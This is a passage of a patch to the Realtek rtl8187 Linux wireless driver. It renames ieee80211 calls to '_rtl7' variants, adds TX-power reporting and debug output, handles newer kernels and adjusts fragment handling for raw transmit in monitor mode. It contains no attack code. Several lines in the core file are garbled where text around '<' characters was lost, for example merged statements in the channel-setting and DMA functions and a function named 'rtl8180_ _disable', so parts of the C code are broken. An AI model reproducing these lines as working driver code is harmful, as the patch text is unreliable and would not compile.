iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } @@ -86,8 +87,8 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } @@ -97,27 +98,83 @@ union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); + + up(&priv->wx_sem); + + return ret; +} + +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + wrqu->power.value = priv->chtxpwr_ofdm[1] + MIN_TX_POWER; + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; + up(&priv->wx_sem); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); + return 0; +} + +#if 0 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i = 0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > MAX_TX_POWER) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < MIN_TX_POWER) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<=14;i++) + { + priv->chtxpwr[i] = wrqu->power.value + 1 - MIN_TX_POWER; + priv->chtxpwr_ofdm[i] = wrqu->power.value - MIN_TX_POWER; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: up(&priv->wx_sem); return ret; } +#endif static int r8180_wx_set_rawtx(struct net_device *dev, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); + ret = ieee80211_wx_set_rawtx_rtl7(priv->ieee80211, info, wrqu, extra); up(&priv->wx_sem); @@ -129,7 +186,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; @@ -157,12 +214,12 @@ static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); rtl8187_set_rxconf(dev); @@ -176,7 +233,7 @@ union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -247,7 +304,7 @@ // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { @@ -267,14 +324,14 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; if(!priv->up) return -1; down(&priv->wx_sem); - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); up(&priv->wx_sem); return ret; @@ -286,13 +343,13 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(!priv->up) return -1; down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); up(&priv->wx_sem); @@ -304,13 +361,13 @@ struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); up(&priv->wx_sem); return ret; @@ -322,11 +379,11 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); @@ -338,11 +395,11 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); return ret; @@ -352,8 +409,8 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } @@ -361,7 +418,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -381,7 +438,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,11 +454,11 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); down(&priv->wx_sem); - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); up(&priv->wx_sem); return ret; @@ -413,9 +470,9 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } @@ -423,22 +480,22 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } static int r8180_wx_set_enc(struct net_device *dev, struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); up(&priv->wx_sem); return ret; @@ -448,7 +505,7 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; @@ -463,7 +520,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; down(&priv->wx_sem); @@ -516,7 +573,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->retry.disabled = 0; /* can't be disabled */ @@ -542,7 +599,7 @@ struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; @@ -555,7 +612,7 @@ union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short err = 0; down(&priv->wx_sem); @@ -624,7 +681,7 @@ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ @@ -666,7 +723,7 @@ #if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_txpower/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2006-06-22 07:43:30.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8187_core.c 2007-03-05 00:31:38.115128315 +0100 @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -98,6 +99,10 @@ #endif static int channels = 0x3fff; +#define DEBUG_EPROM +#define DEBUG_REGISTERS +#define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -158,11 +163,10 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_sndctrlpipe(udev, 0), @@ -174,7 +178,7 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_sndctrlpipe(udev, 0), @@ -186,7 +190,7 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_sndctrlpipe(udev, 0), @@ -198,7 +202,7 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_sndctrlpipe(udev, 0), @@ -211,7 +215,7 @@ u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), @@ -223,7 +227,7 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), @@ -236,7 +240,7 @@ u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), @@ -249,7 +253,7 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), @@ -271,7 +275,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,7 +293,7 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int len = 0; int i,n; @@ -319,7 +328,7 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int len = 0; @@ -339,7 +348,7 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int len = 0; @@ -391,7 +400,7 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int len = 0; @@ -407,13 +416,14 @@ return len; } - +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) { @@ -430,7 +440,7 @@ void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,7 +457,7 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dir_dev = create_proc_entry(dev->name, S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); @@ -539,7 +549,7 @@ short check_nic_enought_desc(struct net_device *dev, priority_t priority) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int used = atomic_read((priority == NORM_PRIORITY) ? &priv->tx_np_pending : &priv->tx_lp_pending); @@ -549,7 +559,7 @@ void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +571,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -575,9 +598,9 @@ for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,7 +612,7 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ @@ -603,7 +626,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,7 +648,7 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; msr = read_nic_byte(dev, MSR); @@ -653,7 +676,7 @@ void rtl8180_set_chan(struct net_device *dev,short ch) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 tx; priv->chan=ch; #if 0 @@ -670,20 +693,20 @@ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<rx_urb) DMESGE("Cannot intiate RX urb mechanism"); @@ -721,7 +744,7 @@ void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; rxconf=read_nic_dword(dev,RX_CONF); @@ -810,7 +833,7 @@ u8 cmd; u8 byte; u32 txconf; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); byte = read_nic_byte(dev,CW_CONF); byte &= ~(1<dma_poll_mask &=~(1<dma_poll_mask); @@ -900,7 +923,7 @@ void rtl8180_ _disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,7 +937,7 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ @@ -939,7 +962,7 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, sizeof(u32)*8*count, @@ -1051,7 +1074,7 @@ void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); @@ -1062,7 +1085,7 @@ #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1114,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1128,17 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + { + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + morefrag = 1; + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1126,7 +1152,7 @@ //DMESG("TX"); if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); + ieee80211_stop_queue_rtl7(priv->ieee80211); } rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, @@ -1135,7 +1161,7 @@ priv->stats.txdatapkt++; if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); + ieee80211_stop_queue_rtl7(priv->ieee80211); spin_unlock_irqrestore(&priv->tx_lock,flags); @@ -1148,7 +1174,7 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; @@ -1228,7 +1254,7 @@ void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1259,7 +1285,7 @@ void rtl8187_net_update(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct ieee80211_network *net; net = & priv->ieee80211->current_network; @@ -1283,13 +1309,13 @@ void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; rtl8187_net_update(dev); - skb = ieee80211_get_beacon(priv->ieee80211); + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); if(!skb){ @@ -1327,7 +1353,7 @@ void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1353,7 +1379,7 @@ int status; struct urb *tx_urb; int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); @@ -1445,7 +1471,7 @@ short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); @@ -1483,7 +1509,7 @@ void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; if(priv->rx_urb){ @@ -1506,9 +1532,9 @@ u16 word; int basic_rate,min_rr_rate,max_rr_rate; -// struct r8180_priv *priv = ieee80211_priv(dev); +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); @@ -1532,7 +1558,7 @@ word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1554,13 +1580,13 @@ short rtl8180_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; + u8 hw_version; + u8 config3; //FIXME: these constants are placed in a bad pleace. @@ -1580,6 +1606,13 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); @@ -1588,6 +1621,8 @@ //memcpy(priv->stats,0,sizeof(struct Stats)); //priv->irq_enabled=0; + + priv->dev = dev; // priv->stats.rxdmafail=0; priv->stats.txrdu=0; @@ -1622,7 +1657,11 @@ priv->ieee80211->mode = IEEE_G; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, @@ -1716,6 +1755,12 @@ priv->enable_gpio0 = 0; + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 @@ -1807,6 +1852,12 @@ priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; @@ -1988,7 +2039,7 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; @@ -2077,7 +2128,7 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR @@ -2135,7 +2186,7 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->ieee80211->stats; } @@ -2143,36 +2194,32 @@ int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - //DMESG("Bringing up iface"); +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = 